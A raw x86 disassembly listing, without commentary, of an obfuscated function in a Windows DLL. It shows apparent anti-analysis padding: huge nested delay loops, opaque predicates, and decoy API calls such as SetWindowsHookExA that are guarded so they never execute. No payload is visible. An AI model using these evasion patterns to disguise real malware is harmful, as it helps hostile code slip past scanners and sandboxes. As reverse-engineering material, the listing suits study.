call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
cmp dword [ebp - 0x950], 0x7837
jge 0x10045b3b
mov edx, dword [ebp - 0x14a0]
mov ecx, 0x10094c18
call fcn.10029186
mov eax, dword [0x10095ccc]
and eax, 1
jne 0x10045b72
mov eax, dword [0x10095ccc]
or eax, 1
mov dword [0x10095ccc], eax
mov dword [ebp - 4], 0x2a
mov ecx, 0x1009a0a8
call fcn.10026a92
push 0x1008fbc6
call fcn.100790d9
pop ecx
or dword [ebp - 4], 0xffffffff
push 3
lea ecx, [ebp - 0x1448]
call fcn.10026750
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x11fc], 0x672ca3c0
mov dword [ebp - 0x1810], 0x371247ad
mov dword [ebp - 0xb8], 0
jmp 0x10045bb3
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x10045bd5
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x1448]
call fcn.100267ee
mov dword [eax], 0xb110c93b
jmp 0x10045ba6
mov dword [ebp - 0xb8], 0
jmp 0x10045bee
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 4
jge 0x10045c0a
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x1dec], 1
jmp 0x10045be1
push 1
lea ecx, [ebp - 0x1448]
call fcn.100267ee
mov dword [eax], 0xfffffff4
jmp 0x10045c43
push 1
lea ecx, [ebp - 0x1448]
call fcn.100267ee
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x958]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x958]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x1448]
call fcn.100267ee
cmp dword [eax], 0xffffffe4
jg 0x10045e5b
mov dword [ebp - 0x15e4], 0xf759609c
mov dword [ebp - 0x15e0], 0xf759609c
mov dword [ebp - 0x15dc], 0xf759609c
mov dword [ebp - 0x15d8], 0xf759609c
lea ecx, [ebp - 0x709]
call fcn.100267fd
push eax
lea eax, [ebp - 0x15d4]
push eax
lea eax, [ebp - 0x15e4]
push eax
lea ecx, [ebp - 0x1ad0]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1534]
call fcn.100267ac
mov byte [ebp - 4], 0x2c
push 3
lea ecx, [ebp - 0x1534]
call fcn.100267ee
and dword [eax], 0
jmp 0x10045cf0
push 3
lea ecx, [ebp - 0x1534]
call fcn.100267ee
mov dword [ebp - 0x960], eax
mov eax, dword [ebp - 0x960]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x960]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0x1534]
call fcn.100267ee
cmp dword [eax], 3
jg 0x10045e47
mov dword [ebp - 0x11fc], 0xda622a14
mov byte [ebp - 0x159], 0
mov dword [ebp - 0x968], 0x3814
mov dword [ebp - 0x1208], 0x1000bd60
cmp dword [ebp - 0x968], 0x38a9
jle 0x10045e11
and dword [ebp - 0x440], 0
jmp 0x10045d51
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0x77bd
jge 0x10045e11
and dword [ebp - 0x430], 0
jmp 0x10045d77
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x33eb
jge 0x10045e0c
and dword [ebp - 0x438], 0
jmp 0x10045d9d
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x2975
jge 0x10045e07
mov eax, dword [ebp - 0x430]
imul eax, dword [ebp - 0x438]
add eax, dword [ebp - 0x440]
cdq
mov dword [ebp - 0x121c], eax
mov dword [ebp - 0x1218], edx
push dword [ebp - 0x1218]
push dword [ebp - 0x121c]
lea ecx, [ebp - 0x1ca4]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x13b4], eax
mov ecx, dword [ebp - 0x13b4]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1ca4]
call fcn.1002640c
jmp 0x10045d90
jmp 0x10045d6a
jmp 0x10045d44
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x10045e2a
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [ebp - 0x968], 0x3792
jge 0x10045e42
push dword [ebp - 0x1208]
call fcn.10079103
pop ecx
jmp 0x10045ccc
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1534]
call fcn.100267d2
jmp 0x10045c1f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1448]
call fcn.100267d2
movzx eax, byte [0x1009a001]
test eax, eax
je 0x10046689
mov ecx, 0x1009a0a8
call fcn.1004bab3
movzx eax, al
test eax, eax
jne 0x10046689
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0xa28]
push eax
mov ecx, 0x1009a0a8
call fcn.10026a6a
mov dword [ebp - 0x450], 0x2e91a049
mov dword [ebp - 0x448], 0
jmp 0x10045ec9
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 3
jge 0x10045ee5
mov eax, dword [ebp - 0x448]
mov dword [ebp + eax*4 - 0x1b9c], 0xf84b8114
jmp 0x10045ebc
mov byte [ebp - 0x1a4], 0
movzx eax, byte [ebp - 0x1a4]
test eax, eax
je 0x10045f05
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPixel]
mov dword [ebp - 0x450], 0
jmp 0x10045f1e
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0
je 0x10045fc7
mov dword [ebp - 0x160c], 0xc34eea2a
mov dword [ebp - 0x1608], 0xc34eea2a
mov dword [ebp - 0x1604], 0xc34eea2a
mov dword [ebp - 0x1600], 0xc34eea2a
lea ecx, [ebp - 0x713]
call fcn.100267fd
push eax
lea eax, [ebp - 0x15fc]
push eax
lea eax, [ebp - 0x160c]
push eax
lea ecx, [ebp - 0x1b48]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1794]
call fcn.100267ac
mov dword [ebp - 4], 0x2d
push 3
lea ecx, [ebp - 0x1794]
call fcn.100267ee
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x970]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x970]
mov dword [ecx], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1794]
call fcn.100267d2
jmp 0x10045f11
lea eax, [ebp - 0x1974]
push eax
mov ecx, 0x1009a0a8
call fcn.10026a5c
push eax
lea ecx, [ebp - 0xa28]
call fcn.10026a7f
movzx eax, al
test eax, eax
je 0x10046689
mov dword [ebp - 0x138], 0xffffffff
mov dword [ebp - 0x978], 0x7e42
mov dword [ebp - 0x1214], 0x1000bda8
cmp dword [ebp - 0x978], 0x7edd
jle 0x10046123
and dword [ebp - 0x458], 0
jmp 0x10046033
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x32b3
jge 0x10046123
and dword [ebp - 0x460], 0
jmp 0x10046059
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x4f0a
jge 0x1004611e
and dword [ebp - 0x468], 0
jmp 0x1004607f
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0x2873
jge 0x10046119
and dword [ebp - 0x470], 0
jmp 0x100460a5
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0x245e
jge 0x10046114
mov eax, dword [ebp - 0x458]
add eax, dword [ebp - 0x460]
or eax, dword [ebp - 0x468]
or eax, dword [ebp - 0x470]
cdq
mov dword [ebp - 0x1228], eax
mov dword [ebp - 0x1224], edx
push dword [ebp - 0x1224]
push dword [ebp - 0x1228]
lea ecx, [ebp - 0x1cd4]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x12a8], eax
mov ecx, dword [ebp - 0x12a8]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1cd4]
call fcn.1002640c
jmp 0x10046098
jmp 0x10046072
jmp 0x1004604c
jmp 0x10046026
mov dword [ebp - 0x230], 0x131d8b9d
cmp dword [ebp - 0x978], 0x7d37
jge 0x10046145
push dword [ebp - 0x1214]
call fcn.10079103
pop ecx
mov dword [ebp - 0x6c4], 0x79cc
mov dword [ebp - 0x1818], 0xa91f101f
mov dword [ebp - 0xc0], 0
jmp 0x10046172
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x1004618e
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x20c], 0xd5f8d9a2
jmp 0x10046165
mov dword [ebp - 0xc0], 0
jmp 0x100461a7
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x100461c3
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x12b0], 1
jmp 0x1004619a
mov eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x138]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x20c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
sub eax, dword [ebp - 0x138]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x980], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x980]
mov dword [ebp + eax - 0x12b0], ecx
cmp dword [ebp - 0x980], 0
jne 0x10046229
mov dword [ebp - 0x988], 1
jmp 0x10046230
and dword [ebp - 0x988], 0
imul eax, dword [ebp - 0x988], 0xae7b
neg eax
je 0x10046253
cmp dword [ebp - 0x6c4], 0
je 0x10046253
mov dword [ebp - 0x990], 1
jmp 0x1004625a
and dword [ebp - 0x990], 0
mov dword [ebp - 0x230], 0x7af5
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0x990]
jne 0x1004627e
mov dword [ebp - 0x998], 1
jmp 0x10046285
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x998], eax
je 0x1004629f
mov dword [ebp - 0x9a0], 1
jmp 0x100462a6
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x138]
imul ecx, dword [ebp - 0x9a0], 0x5425
imul eax, ecx
cmp eax, dword [ebp - 0x138]
je 0x100462cd
mov dword [ebp - 0x1220], 1
jmp 0x100462d4
and dword [ebp - 0x1220], 0
xor eax, eax
inc eax
je 0x10046641
mov dword [ebp - 0xa00], 0xfffffff8
mov dword [ebp - 0x738], 7
mov dword [ebp - 0x122c], 0xffffffff
mov dword [ebp - 0xc8], 0
jmp 0x10046314
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 4
jge 0x10046330
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xf94], 0xf80366e5
jmp 0x10046307
mov dword [ebp - 0xc8], 0
jmp 0x10046349
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jge 0x10046365
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x19c4], 0x11945b4
jmp 0x1004633c
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa00]
imul ecx, dword [ebp + eax - 0xf94]
mov dword [ebp - 0x9a8], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9a8]
mov dword [ebp + eax - 0x20c], ecx
imul eax, dword [ebp - 0x9a8], 0x69dd
cmp eax, 0xffffffff
jg 0x100463ad
mov dword [ebp - 0x9b0], 1
jmp 0x100463b4
and dword [ebp - 0x9b0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9b0]
inc ecx
cmp dword [ebp + eax - 0xf94], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf94], 1
jne 0x100463e4
mov dword [ebp - 0x9b8], 1
jmp 0x100463eb
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x738]
add eax, dword [ebp - 0x9b8]
cmp eax, 0x36728ad6
jle 0x1004640a
mov dword [ebp - 0x12b8], 1
jmp 0x10046411
and dword [ebp - 0x12b8], 0
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x190c], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xf94], 0x11c25c53
jl 0x1004643c
mov dword [ebp - 0x9c0], 1
jmp 0x10046443
and dword [ebp - 0x9c0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf94]
cmp dword [ebp - 0x9c0], eax
jg 0x10046463
mov byte [ebp - 0x1a6], 0
movzx eax, byte [ebp - 0x1a6]
test eax, eax
je 0x1004665b
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 0x193], 0
movzx eax, byte [ebp - 0x193]
test eax, eax
je 0x10046675
push 0
call dword [sym.imp.USER32.dll_SetFocus]
lea ecx, [ebp - 0xa28]
call fcn.1004babc
mov eax, dword [eax + 4]
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0xa70], 5
mov dword [ebp - 0x58], 0x54320e32
push 2
lea ecx, [ebp - 0x1458]
call fcn.10026750
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x12c0], 0x43747c91
push 1
lea ecx, [ebp - 0x1848]
call fcn.10026750
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x2c], 0
jmp 0x100466d9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100466f5
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1458]
call fcn.100267ee
mov dword [eax], 0xba6aed1d
jmp 0x100466d2
mov dword [ebp - 0x2c], 0
jmp 0x10046705
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1004671b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x151c], 0x38ca8c98
jmp 0x100466fe
mov dword [ebp - 0x2c], 0
jmp 0x1004672b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10046747
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1848]
call fcn.100267ee
mov dword [eax], 0x49c4
jmp 0x10046724
cmp dword [ebp - 0x58], 0
je 0x10046827
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1820], eax
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x58]
je 0x10046771
mov dword [ebp - 0xa30], 1
jmp 0x10046778
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0xa30], eax
jne 0x1004678f
mov dword [ebp - 0xa38], 1
jmp 0x10046796
and dword [ebp - 0xa38], 0
mov eax, dword [ebp - 0xa38]
sub eax, dword [ebp - 0x58]
jne 0x100467b0
cmp dword [ebp - 0x58], 0
jne 0x100467b0
and dword [ebp - 0xa40], 0
jmp 0x100467ba
mov dword [ebp - 0xa40], 1
cmp dword [ebp - 0xa40], 0x551f
jge 0x100467d2
mov dword [ebp - 0xa48], 1
jmp 0x100467d9
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0xa48]
sub eax, dword [ebp - 0x58]
imul eax, eax, 0xd652
mov dword [ebp - 0x58], eax
mov esi, dword [ebp - 0x58]
push 0
lea ecx, [ebp - 0x1458]
call fcn.100267ee
cmp esi, dword [eax]
je 0x1004680b
mov dword [ebp - 0xa50], 1
jmp 0x10046812
and dword [ebp - 0xa50], 0
cmp dword [ebp - 0xa50], 0xffffffff
jl 0x10046827
mov dword [ebp - 0xa58], 1
jmp 0x1004682e
and dword [ebp - 0xa58], 0
cmp dword [ebp - 0xa58], 0x7d6c
jge 0x10046846
mov dword [ebp - 0xa60], 1
jmp 0x1004684d
and dword [ebp - 0xa60], 0
mov dword [ebp - 0xa70], 0x5a9c4c8d
push 0
lea ecx, [ebp - 0x1458]
call fcn.100267ee
mov ecx, dword [ebp - 0xa60]
sub ecx, dword [eax]
mov dword [ebp - 0xa68], ecx
push 0
lea ecx, [ebp - 0x1458]
call fcn.100267ee
mov ecx, dword [ebp - 0xa68]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa68]
sub ecx, dword [ebp + eax - 0x151c]
cmp dword [ebp - 0xa70], ecx
jge 0x100468ae
mov dword [ebp - 0xa78], 1
jmp 0x100468b5
and dword [ebp - 0xa78], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x151c]
cmp dword [ebp - 0xa78], eax
jg 0x100468d6
mov dword [ebp - 0xa80], 1
jmp 0x100468dd
and dword [ebp - 0xa80], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa80]
sub ecx, dword [ebp + eax - 0x151c]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x151c], ecx
mov dword [ebp - 0x12c0], 0xffffffff
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1848]
call fcn.100267d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1458]
call fcn.100267d2
cmp dword [ebp - 0x1e4], 0xffffffff
jne 0x10047c80
mov dword [ebp - 0x1954], 7
mov dword [ebp - 0x1828], 0xabecba2a
mov dword [ebp - 0x1914], 0x97a888ad
mov dword [ebp - 0x1830], 8
mov dword [ebp - 0x1994], 0xfffffff6
push 1
lea ecx, [ebp - 0x1858]
call fcn.10026750
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x183c], 0x7b2415fb
mov dword [ebp - 0x191c], 0x12d29ed7
mov dword [ebp - 0xa88], 1
mov dword [ebp - 0x480], 0
jmp 0x100469af
mov eax, dword [ebp - 0x480]
inc eax
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 1
jge 0x100469d1
push dword [ebp - 0x480]
lea ecx, [ebp - 0x1858]
call fcn.100267ee
mov dword [eax], 0xa5efa20b
jmp 0x100469a2
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x100469f1
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov eax, dword [ebp - 0xa88]
dec eax
mov dword [ebp - 0xa88], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1858]
call fcn.100267d2
mov ecx, 0x1009a0a8
call fcn.1004bb00
mov ecx, dword [ebp - 0xf0]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1009a0a8
call fcn.1004bb04
and dword [ebp - 0x1dc], 0
jmp 0x10046a41
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x1dc]
cmp ecx, dword [eax + 0x18]
jae 0x10047c80
push 2
lea ecx, [ebp - 0x1468]
call fcn.10026750
mov dword [ebp - 4], 0x31
mov dword [ebp - 0x140], 0xc08901f2
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x210], 1
mov dword [ebp - 0x12e0], 0xc0d357
mov dword [ebp - 0x125c], 0xb075
mov dword [ebp - 0xa90], 0x2dac
mov dword [ebp - 0x12c8], 0x1000bdd4
cmp dword [ebp - 0xa90], 0x2e6f
jle 0x10046b97
and dword [ebp - 0x488], 0
jmp 0x10046ad6
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0x1699
jge 0x10046b97
and dword [ebp - 0x490], 0
jmp 0x10046afc
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0x5abf
jge 0x10046b92
and dword [ebp - 0x498], 0
jmp 0x10046b22
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 0xc1f
jge 0x10046b8d
mov eax, dword [ebp - 0x488]
sub eax, dword [ebp - 0x490]
mov ecx, dword [ebp - 0x498]
shl eax, cl
cdq
mov dword [ebp - 0x1234], eax
mov dword [ebp - 0x1230], edx
push dword [ebp - 0x1230]
push dword [ebp - 0x1234]
lea ecx, [ebp - 0x1d28]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x1238], eax
mov ecx, dword [ebp - 0x1238]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1d28]
call fcn.1002640c
jmp 0x10046b15
jmp 0x10046aef
jmp 0x10046ac9
mov dword [ebp - 0x640], 0x75ba
cmp dword [ebp - 0xa90], 0x2b4e
jge 0x10046bb9
push dword [ebp - 0x12c8]
call fcn.10079103
pop ecx
push 1
lea ecx, [ebp - 0x16e4]
call fcn.10026750
mov byte [ebp - 4], 0x32
mov dword [ebp - 0x6c], 0
jmp 0x10046bda
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10046bf6
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1468]
call fcn.100267ee
mov dword [eax], 4
jmp 0x10046bd3
mov dword [ebp - 0x6c], 0
jmp 0x10046c06
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x10046c22
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x16e4]
call fcn.100267ee
mov dword [eax], 0xa6a8
jmp 0x10046bff
mov dword [ebp - 0x140], 1
jmp 0x10046c3b
cmp dword [ebp - 0x140], 0
jl 0x10046e3d
mov dword [ebp - 0x1724], 0xfddd3f46
mov dword [ebp - 0x4a8], 1
mov dword [ebp - 0x195c], 0x7b04800f
push 2
lea ecx, [ebp - 0x1868]
call fcn.10026750
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x4a0], 0
jmp 0x10046c90
mov eax, dword [ebp - 0x4a0]
inc eax
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 2
jge 0x10046caf
push dword [ebp - 0x4a0]
lea ecx, [ebp - 0x1868]
call fcn.100267ee
and dword [eax], 0
jmp 0x10046c83
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x4a8], 1
jmp 0x10046cd5
cmp dword [ebp - 0x4a8], 0
jl 0x10046e29
push 1
lea ecx, [ebp - 0x1468]
call fcn.100267ee
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x1250], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x12d8], eax
mov eax, dword [ebp - 0x640]
dec eax
mov dword [ebp - 0x640], eax
mov eax, dword [ebp - 0x1250]
cmp eax, dword [ebp - 0x12d8]
je 0x10046e89
mov dword [ebp - 0xaa0], 1
jmp 0x10046e90
and dword [ebp - 0xaa0], 0
cmp dword [ebp - 0xaa0], 0x1c0a
jg 0x10046ea8
mov dword [ebp - 0xaa8], 1
jmp 0x10046eaf
and dword [ebp - 0xaa8], 0
imul eax, dword [ebp - 0xaa8], 0xe3a1
cmp eax, 0xaff79c94
ja 0x10046ecc
mov dword [ebp - 0xab0], 1
jmp 0x10046ed3
and dword [ebp - 0xab0], 0
cmp dword [ebp - 0xab0], 0
jge 0x10046ee8
push 2
lea ecx, [ebp - 0x2b4]
call fcn.10026750
mov dword [ebp - 4], 0x3a
or dword [ebp - 0x165c], 0xffffffff
or dword [ebp - 0x1658], 0xffffffff
or dword [ebp - 0x1654], 0xffffffff
or dword [ebp - 0x1650], 0xffffffff
lea ecx, [ebp - 0x6cd]
call fcn.100267fd
push eax
lea eax, [ebp - 0x164c]
push eax
lea eax, [ebp - 0x165c]
push eax
lea ecx, [ebp - 0x1b20]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1478]
call fcn.100267ac
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0x520], 0
jmp 0x10047d02
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 2
jge 0x10047d24
push dword [ebp - 0x520]
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
mov dword [eax], 0xfffffffd
jmp 0x10047cf5
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
mov esi, eax
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x10047d52
mov dword [ebp - 0xc00], 1
jmp 0x10047d59
and dword [ebp - 0xc00], 0
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
cmp dword [eax], 9
jle 0x10047d77
mov dword [ebp - 0x146c], 1
jmp 0x10047d7e
and dword [ebp - 0x146c], 0
push 2
lea ecx, [ebp - 0x1478]
call fcn.100267ee
mov ecx, dword [ebp - 0xc00]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
push 1
lea ecx, [ebp - 0x1478]
call fcn.100267ee
mov esi, eax
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
mov ecx, dword [esi]
sub ecx, dword [eax]
cmp ecx, 0xffff
jne 0x10047dd4
mov dword [ebp - 0x12b4], 1
jmp 0x10047ddb
and dword [ebp - 0x12b4], 0
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
cmp dword [eax], 3
ja 0x10047df9
mov dword [ebp - 0xc08], 1
jmp 0x10047e00
and dword [ebp - 0xc08], 0
push 1
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
mov ecx, dword [ebp - 0xc08]
cmp ecx, dword [eax]
jne 0x10047e23
mov dword [ebp - 0xc10], 1
jmp 0x10047e2a
and dword [ebp - 0xc10], 0
push 0
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
mov eax, dword [eax]
cmp eax, dword [ebp - 0xc10]
jl 0x10048160
push 1
lea ecx, [ebp - 0x2b4]
call fcn.100267ee
cmp dword [eax], 0
je 0x10048160
mov dword [ebp - 0x13bc], 0
mov dword [ebp - 0x528], 0
jmp 0x10047e7e
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 3
jge 0x10047e9a
mov eax, dword [ebp - 0x528]
mov dword [ebp + eax*4 - 0x62c], 0xfffffffe
jmp 0x10047e71
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x62c], 1
jmp 0x10047ec8
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x62c], 0
jl 0x1004815e
mov dword [ebp - 0x186c], 0x100945f8
push 2
lea ecx, [ebp - 0x780]
call fcn.10026750
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0x530], 0
jmp 0x10047f10
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 2
jge 0x10047f32
push dword [ebp - 0x530]
lea ecx, [ebp - 0x780]
call fcn.100267ee
mov dword [eax], 0xfffffffe
jmp 0x10047f03
push 0
lea ecx, [ebp - 0x780]
call fcn.100267ee
and dword [eax], 0
jmp 0x10047f68
push 0
lea ecx, [ebp - 0x780]
call fcn.100267ee
cmp dword [eax], 1
jg 0x1004814a
jmp 0x1004817a
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x1004817a
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1478]
call fcn.100267d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2b4]
call fcn.100267d2
cmp dword [ebp + 0x10], 0
jne 0x1004838d
cmp dword [ebp - 0x1e4], 0xffffffff
je 0x1004838d
push 3
lea ecx, [ebp - 0x1488]
call fcn.10026750
mov dword [ebp - 4], 0x3d
mov dword [ebp - 0x14a8], 0x672ca3c0
mov dword [ebp - 0x187c], 0x371247ad
mov dword [ebp - 0x70], 0
jmp 0x100481e7
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x10048203
push dword [ebp - 0x70]
lea ecx, [ebp - 0x1488]
call fcn.100267ee
mov dword [eax], 0xb110c93b
jmp 0x100481e0
mov dword [ebp - 0x70], 0
jmp 0x10048213
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x10048229
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x1dfc], 1
jmp 0x1004820c
push 1
lea ecx, [ebp - 0x1488]
call fcn.100267ee
mov dword [eax], 0xfffffff4
jmp 0x10048262
push 1
lea ecx, [ebp - 0x1488]
call fcn.100267ee
cmp dword [eax], 0xffffffe4
jg 0x10048361
mov dword [ebp - 0x670], 2
mov dword [ebp - 0xc78], 0xd416db6d
push 2
lea ecx, [ebp - 0x1498]
call fcn.10026750
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x12cc], 0x3674f9af
mov dword [ebp - 0x34], 0
jmp 0x100483d9
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x100483f5
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1498]
